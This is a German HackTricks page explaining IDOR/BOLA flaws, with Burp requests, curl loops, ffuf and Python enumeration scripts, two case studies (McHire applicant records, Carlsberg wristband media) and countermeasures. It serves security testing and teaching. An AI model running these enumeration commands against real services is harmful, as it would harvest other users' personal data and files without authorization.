IDOR (Insecure Direct Object Reference)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) tritt auf, wenn ein Web- oder API-Endpunkt einen vom Benutzer kontrollierbaren Identifikator preisgibt oder akzeptiert, der direkt verwendet wird, um auf ein internes Objekt zuzugreifen ohne zu prüfen, ob der Anfragende berechtigt ist, auf dieses Objekt zuzugreifen oder es zu verändern. Erfolgreiche Ausnutzung ermöglicht typischerweise horizontale oder vertikale Privilegieneskalation, wie z. B. das Lesen oder Ändern von Daten anderer Benutzer und im schlimmsten Fall vollständige Account-Übernahme oder massenhafte Datenexfiltration.

1. Ermittlung potenzieller IDORs

  1. Suche nach Parametern, die auf ein Objekt verweisen:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Bevorzuge Endpunkte, die Daten lesen oder aktualisieren (GET, PUT, PATCH, DELETE).
  2. Achte darauf, ob Identifikatoren sequentiell oder vorhersehbar sind – wenn deine ID 64185742 ist, existiert wahrscheinlich 64185741.
  3. Untersuche versteckte oder alternative Abläufe (z. B. “Paradox team members” Link auf Login-Seiten), die zusätzliche APIs offenlegen könnten.
  4. Verwende eine authentifizierte Sitzung mit niedrigen Rechten und ändere nur die ID, während du dasselbe Token/Cookie beibehältst. Das Ausbleiben einer Autorisierungsfehlermeldung ist normalerweise ein Hinweis auf einen IDOR.

Schnelles manuelles Manipulieren (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Automatisierte Enumeration (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Vorhersehbare Download-IDs enumerieren (ffuf)

Authentifizierte File-Hosting-Panels speichern oft pro Benutzer Metadaten in einer einzigen files-Tabelle und stellen einen Download-Endpunkt wie /download.php?id=<int> bereit. Wenn der Handler nur überprüft, ob die ID existiert (und nicht, ob sie dem authentifizierten Benutzer gehört), kannst du den Integer-Bereich mit deinem gültigen Session-Cookie durchsuchen und Backups/Konfigurationen anderer Tenants stehlen:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr entfernt 404-style templates, sodass nur echte Treffer bleiben (z. B. IDs 54/150 leaking full site backups and signing material).
  • Der gleiche FFUF-Workflow funktioniert mit Burp Intruder oder einer curl-Schleife — stelle nur sicher, dass du beim Inkrementieren der IDs authentifiziert bleibst.

Authenticated combinatorial enumeration (ffuf + jq)

Manche IDORs akzeptieren multiple object IDs (z. B. chat threads zwischen zwei Nutzern). Wenn die App nur prüft, dass du eingeloggt bist, kannst du beide IDs fuzzen, während du dein session cookie behältst:

ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json

Wenn dein JSON ein Array von Arrays ist (z. B. [["A","B"],["B","A"],...]), dann behält folgender jq-Filter die erste Vorkommnis jeder symmetrischen Paarung und entfernt das Gegenstück:

jq 'map({orig: ., key: ((.[0]|tostring) < (.[1]|tostring) ? (.[0]|tostring) + "|" + (.[1]|tostring) : (.[1]|tostring) + "|" + (.[0]|tostring))}) | unique_by(.key) | map(.orig)' input.json > output.json

Wenn dein JSON ein Array von Objekten ist mit Feldern z. B. a und b:

jq 'map({orig: ., key: ((.a|tostring) < (.b|tostring) ? (.a|tostring) + "|" + (.b|tostring) : (.b|tostring) + "|" + (.a|tostring))}) | unique_by(.key) | map(.orig)' input.json > output.json

Wenn du stattdessen canonicalisierte (sortierte) Paare zurückgeben willst (z. B. immer ["A","B"] statt ["B","A"]) und nur die einzigartigen canonical-Paare behalten möchtest:

jq 'map(map(tostring) | sort) | unique' input.json > output.json

Alle drei Varianten funktionieren für Strings und Zahlen (deshalb wird tostring verwendet).

jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json

Fehler-Antwort-Oracle für Benutzer-/Datei-Aufzählung

Wenn ein Download-Endpoint sowohl einen username- als auch einen filename-Parameter akzeptiert (z. B. /view.php?username=<u>&file=<f>), erzeugen subtile Unterschiede in den Fehlermeldungen oft ein Oracle:

  • Nicht existierender Benutzername → “User not found”
  • Ungültiger Dateiname, aber gültige Endung → “File does not exist” (manchmal werden auch verfügbare Dateien aufgelistet)
  • Ungültige Endung → validation error

Mit jeder authentifizierten Sitzung kannst du den username-Parameter fuzzen, während du einen harmlosen Dateinamen verwendest, und auf den String “user not found” filtern, um gültige Benutzer zu entdecken:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Sobald gültige Benutzernamen identifiziert wurden, spezifische Dateien direkt anfordern (z. B. /view.php?username=amanda&file=privacy.odt). Dieses Muster führt häufig zur unbefugten Offenlegung von Dokumenten anderer Benutzer und zum Leak von Zugangsdaten.

2. Praxisfall – McHire Chatbot Platform (2025)

Während einer Bewertung des Paradox.ai-betriebenen McHire-Recruiting-Portals wurde folgende IDOR entdeckt:

  • Endpunkt: PUT /api/lead/cem-xhr
  • Autorisierung: Session-Cookie des Benutzers für beliebigen Restaurant-Testaccount
  • Body-Parameter: {"lead_id": N} – 8-stelliger, sequentieller numerischer Identifier

Durch Verringern von lead_id konnte der Tester beliebige Bewerber full PII (Name, E‑Mail, Telefon, Adresse, Schichtpräferenzen) abrufen sowie ein consumer JWT, das session hijacking ermöglichte. Die Enumeration des Bereichs 1 – 64,185,742 legte ungefähr 64 Millionen Datensätze offen.

Proof-of-Concept-Anfrage:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

In Kombination mit default admin credentials (123456:123456), die Zugriff auf das Testkonto gewährten, führte die Schwachstelle zu einer kritischen, unternehmensweiten Datenpanne.

Fallstudie – Wristband QR codes as weak bearer tokens (2025–2026)

Ablauf: Ausstellungbesucher erhielten QR-codierte Armbänder; beim Scannen von https://homeofcarlsberg.com/memories/ ließ der Browser die aufgedruckte Armband-ID hex-kodieren und rief ein cloudfunctions.net-Backend auf, um gespeicherte Medien (Fotos/Videos + Namen) abzurufen. Es gab no session binding oder Benutzer-Authentifizierung — knowledge of the ID = authorization.

Vorhersagbarkeit: Armband-IDs folgten einem kurzen Muster wie C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Der Suchraum wurde auf ~26M Kombinationen geschätzt, trivial online erschöpfbar.

Exploitation workflow with Burp Intruder:

  1. Payload generation: Erstelle Kandidaten-IDs (z. B. [A-Z]-###-###). Verwende einen Burp Intruder Pitchfork- oder Cluster Bomb-Angriff mit Positionen für Buchstabe und Ziffern. Füge eine payload processing rule → Add prefix/suffix → payload encoding: ASCII hex hinzu, sodass jede Anfrage den vom Backend erwarteten Hex-String überträgt.
  2. Response grep: Markiere in Intruder ein grep-match nach Markern, die nur in gültigen Antworten vorkommen (z. B. media URLs/JSON-Felder). Ungültige IDs lieferten typischerweise ein leeres Array oder 404.
  3. Throughput measurement: Etwa ~1,000,000 IDs wurden in ~2 Stunden von einem Laptop getestet (~139 req/s). Bei dieser Rate würde der gesamte Schlüsselraum (~26M) in ~52 Stunden fallen. Der Beispiel-Lauf deckte bereits ~500 gültige Armbänder auf (Videos + vollständige Namen).
  4. Rate-limiting verification: Nachdem der Vendor Drosselung behauptet hatte, wurde die gleiche Intruder-Konfiguration erneut ausgeführt. Identische Durchsatz-/Trefferraten bewiesen, dass die Kontrolle fehlte/ineffektiv war; enumeration setzte unbeeinträchtigt fort.

Schnelle skriptbare Variante (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Lesson: Encoding (ASCII→hex/Base64) fügt keine Entropie hinzu; kurze IDs werden zu bearer tokens, die trotz kosmetischer Kodierung aufzählbar sind. Ohne per-user authorization + high-entropy secrets können Medien/PII massenhaft abgeerntet werden, selbst wenn “rate limiting” behauptet wird.

3. Auswirkungen von IDOR / BOLA

  • Horizontale Eskalation – lesen/aktualisieren/löschen von Daten anderer Benutzer.
  • Vertikale Eskalation – ein niedrig privilegierter Benutzer erhält nur für Admins vorgesehene Funktionalität.
  • Massen-Datenpanne, wenn Identifikatoren sequenziell sind (z. B. Bewerber-IDs, Rechnungen).
  • Account-Übernahme durch Stehlen von tokens oder Zurücksetzen der Passwörter anderer Benutzer.

4. Gegenmaßnahmen & Best Practices

  1. Objektbasierte Zugriffskontrolle bei jeder Anfrage durchsetzen (user_id == session.user).
  2. Bevorzugen Sie indirekte, nicht erratbare Identifikatoren (UUIDv4, ULID) statt Auto-Increment-IDs.
  3. Führen Sie Autorisierung serverseitig durch; verlassen Sie sich niemals auf versteckte Formularfelder oder UI-Steuerelemente.
  4. Implementieren Sie RBAC / ABAC-Prüfungen in einer zentralen Middleware.
  5. Fügen Sie rate-limiting & logging hinzu, um Enumeration von IDs zu erkennen.
  6. Sicherheitstest jedes neue Endpoint (unit, integration und DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks